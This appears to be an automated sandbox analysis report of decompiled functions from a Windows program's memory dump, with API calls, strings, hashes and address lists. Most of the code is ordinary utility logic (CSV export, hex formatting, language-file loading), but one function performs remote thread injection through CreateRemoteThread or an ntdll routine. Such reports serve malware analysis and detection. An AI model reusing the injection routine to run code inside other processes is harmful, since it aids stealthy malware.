Opcode ID: ef9eb957481d268ec3f2fcbbe6b30702ac595c163cb660d0b33d8110378005bf
Instruction ID: 3bd5cb9a150004800b4bedd87e83f43d671674f7d7a0a5890c52a9af046e0154
Opcode Fuzzy Hash: ef9eb957481d268ec3f2fcbbe6b30702ac595c163cb660d0b33d8110378005bf
Instruction Fuzzy Hash: 96E00261B8820196DD249A7AACD5D6B239C9A05794314847EF804E72E5DF39D44045ED

Uniqueness

Uniqueness Score: -1.00%

Function 00407362, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00407362(void* __ebx, void* __edx, void* __esi, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				signed int _v12;
				void* _v16;
				wchar_t* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				void* __edi;
				signed int _t39;
				wchar_t* _t41;
				signed int _t45;
				signed int _t48;
				wchar_t* _t53;
				wchar_t* _t62;
				void* _t66;
				intOrPtr* _t68;
				void* _t70;
				wchar_t* _t75;
				wchar_t* _t79;

				_t66 = __ebx;
				_t75 = 0;
				_v8 = 0;
				if( *((intOrPtr*)(__ebx + 0x2c)) > 0) {
					do {
						_t39 =  *( *((intOrPtr*)(_t66 + 0x30)) + _v8 * 4);
						_t68 = _a8;
						if(_t68 != _t75) {
							_t79 =  *((intOrPtr*)( *_t68))(_t39,  *((intOrPtr*)(_t66 + 0x60)));
						} else {
							_t79 =  *( *((intOrPtr*)(_t66 + 0x2d4)) + 0x10 + _t39 * 0x14);
						}
						_t41 = wcschr(_t79, 0x2c);
						_pop(_t70);
						if(_t41 != 0) {
							L8:
							_v20 = _t75;
							_v28 = _t75;
							_v36 = _t75;
							_v24 = 0x100;
							_v32 = 1;
							_v16 = 0x22;
							E0040565D( &_v16 | 0xffffffff, _t70,  &_v36, __eflags,  &_v16);
							while(1) {
								_t45 =  *_t79 & 0x0000ffff;
								__eflags = _t45;
								_v12 = _t45;
								_t77 =  &_v36;
								if(__eflags == 0) {
									break;
								}
								__eflags = _t45 - 0x22;
								if(__eflags != 0) {
									_push( &_v12);
									_t48 = 1;
									__eflags = 1;
								} else {
									_push(L"\"\"");
									_t48 = _t45 | 0xffffffff;
								}
								E0040565D(_t48, _t70, _t77, __eflags);
								_t79 =  &(_t79[0]);
								__eflags = _t79;
							}
							E0040565D( &_v16 | 0xffffffff, _t70,  &_v36, __eflags,  &_v16);
							_t53 = _v20;
							__eflags = _t53;
							if(_t53 == 0) {
								_t53 = 0x40c4e8;
							}
							E004055D1(E00407343(_t66, _a4, _t53),  &_v36);
							_t75 = 0;
							__eflags = 0;
						} else {
							_t62 = wcschr(_t79, 0x22);
							_pop(_t70);
							if(_t62 != 0) {
								goto L8;
							} else {
								E00407343(_t66, _a4, _t79);
							}
						}
						if(_v8 <  *((intOrPtr*)(_t66 + 0x2c)) - 1) {
							E00407343(_t66, _a4, ",");
						}
						_v8 = _v8 + 1;
					} while (_v8 <  *((intOrPtr*)(_t66 + 0x2c)));
				}
				return E00407343(_t66, _a4, L"\r\n");
			}

0x00407362
0x00407369
0x0040736e
0x00407371
0x00407378
0x0040737e
0x00407381
0x00407386
0x0040739f
0x00407388
0x00407391
0x00407391
0x004073a4
0x004073ac
0x004073ad
0x004073cd
0x004073d0
0x004073d3
0x004073d6
0x004073e0
0x004073e7
0x004073ee
0x004073f5
0x0040741a
0x0040741a
0x0040741d
0x00407420
0x00407423
0x00407426
0x00000000
0x00000000
0x004073fc
0x00407400
0x0040740f
0x00407412
0x00407412
0x00407402
0x00407402
0x00407407
0x00407407
0x00407413
0x00407419
0x00407419
0x00407419
0x0040742f
0x00407434
0x00407437
0x00407439
0x0040743b
0x0040743b
0x0040744e
0x00407453
0x00407453
0x004073af
0x004073b2
0x004073ba
0x004073bb
0x00000000
0x004073bd
0x004073c3
0x004073c3
0x004073bb
0x0040745c
0x00407468
0x00407468
0x0040746d
0x00407473
0x0040747c
0x0040748e

APIs

wcschr.MSVCRT ref: 004073A4
wcschr.MSVCRT ref: 004073B2

Part of subcall function 0040565D: wcslen.MSVCRT ref: 00405679
Part of subcall function 0040565D: memcpy.MSVCRT ref: 0040569D

Strings

", xrefs: 004073EE

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcschr$memcpywcslen
String ID: "
API String ID: 1983396471-123907689
Opcode ID: 6c169a86a34af99064e62799b2294b8632790dd142111a0045f0f8e404fdb2fe
Instruction ID: 00b3f0686b04e7c82e40785714242b478475f00d1c6093d835cc4068bab83974
Opcode Fuzzy Hash: 6c169a86a34af99064e62799b2294b8632790dd142111a0045f0f8e404fdb2fe
Instruction Fuzzy Hash: 4E315F31E04208ABDF10EFA5C8819AE7BB9EF54314F20457BEC50B72C2D778AA41DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040A272, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040A272(struct HINSTANCE__** __eax, void* _a4, _Unknown_base(*)()* _a8, void* _a12, DWORD* _a16) {
				void* _v8;
				char _v12;
				char* _v20;
				long _v24;
				intOrPtr _v28;
				char* _v36;
				signed int _v40;
				void _v44;
				char _v48;
				char _v52;
				struct _OSVERSIONINFOW _v328;
				void* __esi;
				signed int _t40;
				intOrPtr* _t44;
				void* _t49;
				struct HINSTANCE__** _t54;
				signed int _t55;

				_t54 = __eax;
				_v328.dwOSVersionInfoSize = 0x114;
				GetVersionExW( &_v328);
				if(_v328.dwMajorVersion < 6) {
					return CreateRemoteThread(_a4, 0, 0, _a8, _a12, 4, _a16);
				}
				E0040A1EF(_t54);
				_t44 =  *((intOrPtr*)(_t54 + 4));
				if(_t44 != 0) {
					_t55 = 8;
					memset( &_v44, 0, _t55 << 2);
					_v12 = 0;
					asm("stosd");
					_v36 =  &_v12;
					_v20 =  &_v52;
					_v48 = 0x24;
					_v44 = 0x10003;
					_v40 = _t55;
					_v28 = 0x10004;
					_v24 = 4;
					_a16 = 0;
					_t40 =  *_t44( &_a16, 0x1fffff, 0, _a4, _a8, _a12, 1, 0, 0, 0,  &_v48, _t49);
					asm("sbb eax, eax");
					return  !( ~_t40) & _a16;
				}
				return 0;
			}

0x0040a27d
0x0040a286
0x0040a290
0x0040a29d
0x00000000
0x0040a32f
0x0040a29f
0x0040a2a4
0x0040a2ad
0x0040a2b6
0x0040a2bc
0x0040a2be
0x0040a2c4
0x0040a2c8
0x0040a2ce
0x0040a2e3
0x0040a2ed
0x0040a2fb
0x0040a2fe
0x0040a305
0x0040a30c
0x0040a30f
0x0040a313
0x00000000
0x0040a31a
0x0040a338

APIs

GetVersionExW.KERNEL32(?,747868A0,00000000), ref: 0040A290
CreateRemoteThread.KERNEL32(?,00000000,00000000,?,?,00000004,?), ref: 0040A32F

Part of subcall function 0040A1EF: LoadLibraryW.KERNEL32(ntdll.dll,?,?,?,?,0040A2A4), ref: 0040A1FF
Part of subcall function 0040A1EF: GetProcAddress.KERNEL32(00000000,?), ref: 0040A263

Strings

$, xrefs: 0040A2E3

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressCreateLibraryLoadProcRemoteThreadVersion
String ID: $
API String ID: 283512611-3993045852
Opcode ID: d6a2f9152dd1fe2f0352f3baa78907b361cfe50d89148d1dfcfba5149de364ff
Instruction ID: f7bb912936b7b9019fec647a10c74351ea71fc4cb5320a39ef1905a9d188216f
Opcode Fuzzy Hash: d6a2f9152dd1fe2f0352f3baa78907b361cfe50d89148d1dfcfba5149de364ff
Instruction Fuzzy Hash: CC216DB290020DEFDF11CF94DD44AEE7BB9FB88704F00802AFA05B6190D7B59A54CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00401676, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00401676(void* __ecx, intOrPtr* __esi, void* __eflags, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				char _v80;
				signed short _v65616;
				void* _t27;
				intOrPtr _t28;
				void* _t34;
				intOrPtr _t39;
				intOrPtr* _t51;
				void* _t52;

				_t51 = __esi;
				E0040B550(0x1004c, __ecx);
				_t39 = 0;
				_push(0);
				_push( &_v8);
				_v8 =  *((intOrPtr*)(_a4 + 0x1c));
				_push(L"Lines");
				_t27 =  *((intOrPtr*)( *__esi))();
				if(_v8 > 0) {
					do {
						_t6 = _t39 + 1; // 0x1
						_t28 = _t6;
						_push(_t28);
						_push(L"Line%d");
						_v12 = _t28;
						_push(0x1f);
						_push( &_v80);
						L0040B1EC();
						_t52 = _t52 + 0x10;
						_push(0x7fff);
						_push(0x40c4e8);
						if( *((intOrPtr*)(_t51 + 4)) == 0) {
							_v65616 = _v65616 & 0x00000000;
							 *((intOrPtr*)( *_t51 + 0x10))( &_v80,  &_v65616);
							_t34 = E004054DF(_a4, _t51,  &_v65616);
						} else {
							_t34 =  *((intOrPtr*)( *_t51 + 0x10))( &_v80, E00405581(_a4, _t39));
						}
						_t39 = _v12;
					} while (_t39 < _v8);
					return _t34;
				}
				return _t27;
			}

0x00401676
0x0040167e
0x0040168a
0x0040168c
0x00401690
0x00401691
0x00401696
0x0040169d
0x004016a2
0x004016aa
0x004016aa
0x004016aa
0x004016ad
0x004016ae
0x004016b3
0x004016b9
0x004016bb
0x004016bc
0x004016c1
0x004016c8
0x004016cd
0x004016ce
0x004016ea
0x004016ff
0x0040170c
0x004016d0
0x004016e3
0x004016e3
0x00401711
0x00401714
0x00000000
0x00401719
0x0040171c

APIs

_snwprintf.MSVCRT ref: 004016BC

Strings

Lines, xrefs: 00401696
Line%d, xrefs: 004016AE

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintf
String ID: Line%d$Lines
API String ID: 3988819677-2790224864
Opcode ID: c1f721086df18e7d6bb8eccb45024a01d2e3fe78f3e8b8c51705c1ae483569b9
Instruction ID: 1021665491e9d2d06496d958327cd8fefc515fbb55266dd5f91e98284186a054
Opcode Fuzzy Hash: c1f721086df18e7d6bb8eccb45024a01d2e3fe78f3e8b8c51705c1ae483569b9
Instruction Fuzzy Hash: 4C110071A00208EFCB15DF98C8C1D9EB7B9EF48704F1045BAF645E7281D778AA458B68

Uniqueness

Uniqueness Score: -1.00%

Function 0040512F, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E0040512F(intOrPtr _a4, intOrPtr _a8, void* _a12) {
				void* _v8;
				void* _v26;
				void _v28;
				void* _t24;
				void* _t25;
				void* _t35;
				signed int _t38;
				signed int _t42;
				void* _t44;
				void* _t45;

				_t24 = _a12;
				_t45 = _t44 - 0x18;
				_t42 = 0;
				 *_t24 = 0;
				if(_a8 <= 0) {
					_t25 = 0;
				} else {
					_t38 = 0;
					_t35 = 0;
					if(_a8 > 0) {
						_v8 = _t24;
						while(1) {
							_v28 = _v28 & 0x00000000;
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosw");
							_push( *(_t35 + _a4) & 0x000000ff);
							_push(L"%2.2X ");
							_push(0xa);
							_push( &_v28);
							L0040B1EC();
							_t38 = _t42;
							memcpy(_v8,  &_v28, 6);
							_t13 = _t42 + 3; // 0x3
							_t45 = _t45 + 0x1c;
							if(_t13 >= 0x2000) {
								break;
							}
							_v8 = _v8 + 6;
							_t35 = _t35 + 1;
							_t42 = _t42 + 3;
							if(_t35 < _a8) {
								continue;
							}
							break;
						}
						_t24 = _a12;
					}
					 *(_t24 + 4 + _t38 * 2) =  *(_t24 + 4 + _t38 * 2) & 0x00000000;
					_t25 = 1;
				}
				return _t25;
			}

0x00405132
0x00405135
0x00405139
0x0040513e
0x00405141
0x004051b3
0x00405143
0x00405145
0x00405147
0x0040514c
0x0040514e
0x00405151
0x00405151
0x0040515b
0x0040515c
0x0040515d
0x0040515e
0x0040515f
0x00405168
0x00405169
0x00405171
0x00405173
0x00405174
0x00405182
0x00405184
0x00405189
0x0040518c
0x00405194
0x00000000
0x00000000
0x00405196
0x0040519a
0x0040519b
0x004051a1
0x00000000
0x00000000
0x00000000
0x004051a1
0x004051a3
0x004051a3
0x004051a6
0x004051af
0x004051b0
0x004051b7

APIs

_snwprintf.MSVCRT ref: 00405174
memcpy.MSVCRT ref: 00405184

Strings

%2.2X , xrefs: 00405169

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintfmemcpy
String ID: %2.2X
API String ID: 2789212964-323797159
Opcode ID: 66b7574eb9a61f89bba5daddfea12679ea202a088e21b7349ae655d3273dc8be
Instruction ID: b76e4bbe2d26c53343c630e3245d096d82678977124e835a89109146ed91de65
Opcode Fuzzy Hash: 66b7574eb9a61f89bba5daddfea12679ea202a088e21b7349ae655d3273dc8be
Instruction Fuzzy Hash: 5A11A532900608BFEB01DFE8C882AAF77B9FB45314F104477ED14EB141D6789A058BD5

Uniqueness

Uniqueness Score: -1.00%

Function 004075BB, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E004075BB(void* __ebx, void* __esi, intOrPtr _a4, intOrPtr* _a8) {
				char _v44;
				intOrPtr _t22;
				signed int _t30;
				signed int _t34;
				void* _t35;
				void* _t36;

				_t35 = __esi;
				_t34 = 0;
				if( *((intOrPtr*)(__esi + 0x2c)) > 0) {
					do {
						_t30 =  *( *((intOrPtr*)(__esi + 0x30)) + _t34 * 4);
						_t22 =  *((intOrPtr*)(_t30 * 0x14 +  *((intOrPtr*)(__esi + 0x40)) + 0xc));
						L0040B1EC();
						_push( *((intOrPtr*)( *_a8))(_t30,  *((intOrPtr*)(__esi + 0x64)),  &_v44, 0x14, L"%%-%d.%ds ", _t22, _t22));
						_push( &_v44);
						_push(0x2000);
						_push( *((intOrPtr*)(__esi + 0x60)));
						L0040B1EC();
						_t36 = _t36 + 0x24;
						E00407343(__esi, _a4,  *((intOrPtr*)(__esi + 0x60)));
						_t34 = _t34 + 1;
					} while (_t34 <  *((intOrPtr*)(__esi + 0x2c)));
				}
				return E00407343(_t35, _a4, L"\r\n");
			}

0x004075bb
0x004075c2
0x004075c7
0x004075ca
0x004075cd
0x004075d8
0x004075e9
0x004075fc
0x00407600
0x00407601
0x00407606
0x00407609
0x0040760e
0x00407619
0x0040761e
0x0040761f
0x00407624
0x00407636

APIs

_snwprintf.MSVCRT ref: 004075E9
_snwprintf.MSVCRT ref: 00407609

Strings

%%-%d.%ds , xrefs: 004075DE

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintf
String ID: %%-%d.%ds
API String ID: 3988819677-2008345750
Opcode ID: 8b20a529ff37d77b79effa085cf49c3b2d19e50ebfb67170c6dd6cfdd11deb7b
Instruction ID: ecb877ded915dbad8d5af0e436ed4e240226c92ce5a1c47ab2288d53f8dcf9da
Opcode Fuzzy Hash: 8b20a529ff37d77b79effa085cf49c3b2d19e50ebfb67170c6dd6cfdd11deb7b
Instruction Fuzzy Hash: BC01B931600704AFD7109F69CC82D5A77ADFF48304B004439FD86B7292D635F911DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040507A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040507A(intOrPtr __eax, wchar_t* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v20;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr _v48;
				wchar_t* _v52;
				intOrPtr _v56;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v76;
				struct tagOFNA _v80;

				_v76 = __eax;
				_v68 = _a4;
				_v64 = 0;
				_v44 = 0;
				_v36 = 0;
				_v32 = _a8;
				_v20 = _a12;
				_v80 = 0x4c;
				_v56 = 1;
				_v52 = __esi;
				_v48 = 0x104;
				_v28 = 0x81804;
				if(GetOpenFileNameW( &_v80) == 0) {
					return 0;
				} else {
					wcscpy(__esi, _v52);
					return 1;
				}
			}

0x00405080
0x00405086
0x0040508b
0x0040508e
0x00405091
0x00405097
0x0040509d
0x004050a4
0x004050ab
0x004050b2
0x004050b5
0x004050bc
0x004050cb
0x004050e0
0x004050cd
0x004050d1
0x004050dc
0x004050dc

APIs

GetOpenFileNameW.COMDLG32(?), ref: 004050C3
wcscpy.MSVCRT ref: 004050D1

Strings

L, xrefs: 004050A4

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileNameOpenwcscpy
String ID: L
API String ID: 3246554996-2909332022
Opcode ID: a51a7b57d6ecd1b98ae1f97c69f64cb7c1c2e9715c85319fb07a92e86122e8f3
Instruction ID: bc55e530e402ba4b599a228f817f204aa1fc4279979982f23bca087f07049b97
Opcode Fuzzy Hash: a51a7b57d6ecd1b98ae1f97c69f64cb7c1c2e9715c85319fb07a92e86122e8f3
Instruction Fuzzy Hash: 9A015FB1D102199FDF40DFA9D885ADEBBF4BB08304F14812AE915F6240E77495458F98

Uniqueness

Uniqueness Score: -1.00%

Function 0040906D, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040906D(struct HINSTANCE__** __eax, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				void* __esi;
				_Unknown_base(*)()* _t10;
				void* _t12;
				struct HINSTANCE__** _t13;

				_t13 = __eax;
				_t12 = 0;
				if(E00408F72(__eax) != 0) {
					_t10 = GetProcAddress( *_t13, "LookupAccountSidW");
					if(_t10 != 0) {
						_t12 =  *_t10(0, _a4, _a8, _a12, _a16, _a20, _a24);
					}
				}
				return _t12;
			}

0x00409072
0x00409074
0x0040907d
0x00409086
0x0040908e
0x004090a5
0x004090a5
0x0040908e
0x004090ac

APIs

GetProcAddress.KERNEL32(?,LookupAccountSidW), ref: 00409086

Strings

LookupAccountSidW, xrefs: 0040907F
Y@, xrefs: 0040906D

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc
String ID: LookupAccountSidW$Y@
API String ID: 190572456-2352570548
Opcode ID: ef5ceafcaa1143e80c32773d35785430279aa9a6fc3cb1ecefeef801cdbe6fb2
Instruction ID: 3ebfd29b958db2e29df2983e37ea976ab6b1d16e8490ad6d4f073a9de280f7a1
Opcode Fuzzy Hash: ef5ceafcaa1143e80c32773d35785430279aa9a6fc3cb1ecefeef801cdbe6fb2
Instruction Fuzzy Hash: F5E0E537100109BBDF125E96DD01CAB7AA79F84750B144035FA54E1161D6368821A794

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD85, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040AD85(intOrPtr _a4) {
				_Unknown_base(*)()* _t3;
				void* _t7;
				struct HINSTANCE__* _t8;
				char** _t9;

				_t7 = 0;
				_t8 = E00405436(L"shlwapi.dll");
				 *_t9 = "SHAutoComplete";
				_t3 = GetProcAddress(_t8, ??);
				if(_t3 != 0) {
					_t7 =  *_t3(_a4, 0x10000001);
				}
				FreeLibrary(_t8);
				return _t7;
			}

0x0040ad8c
0x0040ad93
0x0040ad95
0x0040ad9d
0x0040ada5
0x0040adb2
0x0040adb2
0x0040adb5
0x0040adbf

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,shlwapi.dll), ref: 0040AD9D
FreeLibrary.KERNEL32(00000000,?,00403CB8,00000000), ref: 0040ADB5

Strings

shlwapi.dll, xrefs: 0040AD87

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Library$Load$AddressFreeProcmemsetwcscat
String ID: shlwapi.dll
API String ID: 4092907564-3792422438
Opcode ID: 60c0f151f26cb5c38cd65ac108f35652f4abbc6483df8549b5860e56d1e4938b
Instruction ID: 3ba04cc2888c968bb17b12a51753cff707eeab9003a5d350ca2caef87bad7666
Opcode Fuzzy Hash: 60c0f151f26cb5c38cd65ac108f35652f4abbc6483df8549b5860e56d1e4938b
Instruction Fuzzy Hash: E1D01235211111EBD7616B66AD44A9F7AA6DFC1351B060036F544F2191DB3C4846C669

Uniqueness

Uniqueness Score: -1.00%

Function 00406597, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406597(wchar_t* __esi) {
				wchar_t* _t2;
				wchar_t* _t6;

				_t6 = __esi;
				E00404AD9(__esi);
				_t2 = wcsrchr(__esi, 0x2e);
				if(_t2 != 0) {
					 *_t2 =  *_t2 & 0x00000000;
				}
				return wcscat(_t6, L"_lng.ini");
			}

0x00406597
0x00406598
0x004065a0
0x004065aa
0x004065ac
0x004065ac
0x004065bd

APIs

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

wcsrchr.MSVCRT ref: 004065A0
wcscat.MSVCRT ref: 004065B6

Strings

_lng.ini, xrefs: 004065B0

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileModuleNamewcscatwcsrchr
String ID: _lng.ini
API String ID: 383090722-1948609170
Opcode ID: 3432a58373c8f6497560b18ec501466e1d989437fee4d639b0ed4d8698fe302d
Instruction ID: e4456dc4ef972d75cd366ed24565615e7e819105f92635e6590d4ece6e8d8120
Opcode Fuzzy Hash: 3432a58373c8f6497560b18ec501466e1d989437fee4d639b0ed4d8698fe302d
Instruction Fuzzy Hash: 16C01292682620A4E2223322AC03B4F1248CF62324F21407BF906381C7EFBD826180EE

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC52, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AC52() {
				struct HINSTANCE__* _t1;
				_Unknown_base(*)()* _t2;

				if( *0x4101c4 == 0) {
					_t1 = E00405436(L"shell32.dll");
					 *0x4101c4 = _t1;
					if(_t1 != 0) {
						_t2 = GetProcAddress(_t1, "SHGetSpecialFolderPathW");
						 *0x4101c0 = _t2;
						return _t2;
					}
				}
				return _t1;
			}

0x0040ac59
0x0040ac60
0x0040ac68
0x0040ac6d
0x0040ac75
0x0040ac7b
0x00000000
0x0040ac7b
0x0040ac6d
0x0040ac80

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 0040AC75

Strings

SHGetSpecialFolderPathW, xrefs: 0040AC6F
shell32.dll, xrefs: 0040AC5B

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$AddressProcmemsetwcscat
String ID: SHGetSpecialFolderPathW$shell32.dll
API String ID: 946536540-880857682
Opcode ID: c6b2f9cbd74a5c44be84662768ba9687afe1719f9bd5d931826811f56c49482b
Instruction ID: 297d67d15b42b64e279660486abf15c243c4c6a8dcafd005a32ae5f28444c9d4
Opcode Fuzzy Hash: c6b2f9cbd74a5c44be84662768ba9687afe1719f9bd5d931826811f56c49482b
Instruction Fuzzy Hash: 9AD0C9B0D8A301ABE7106BB0AF05B523AA4B704301F12417BF800B12E0DBBE90888A1E

Uniqueness

Uniqueness Score: -1.00%

Function 00406670, Relevance: 5.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00406670(char** __esi, void* __eflags) {
				char* _t30;
				char** _t39;

				_t39 = __esi;
				 *__esi = "cf@";
				__esi[0xb8] = 0;
				_t30 = E00404FA4(0x338, __esi);
				_push(0x14);
				__esi[0xcb] = 0;
				__esi[0xa6] = 0;
				__esi[0xb9] = 0;
				__esi[0xba] = 0xfff;
				__esi[8] = 0;
				__esi[1] = 0;
				__esi[0xb7] = 1;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_push(0x14);
				_t39[2] = _t30;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_push(0x14);
				_t39[3] = _t30;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_push(0x14);
				_t39[4] = _t30;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_t39[5] = _t30;
				return _t39;
			}

0x00406670
0x0040667a
0x00406680
0x00406686
0x0040668b
0x0040668d
0x00406693
0x00406699
0x0040669f
0x004066a9
0x004066ac
0x004066af
0x004066b9
0x004066c7
0x004066d9
0x004066c9
0x004066c9
0x004066cc
0x004066cf
0x004066d2
0x004066d5
0x004066d5
0x004066db
0x004066dd
0x004066e0
0x004066e8
0x004066fa
0x004066ea
0x004066ea
0x004066ed
0x004066f0
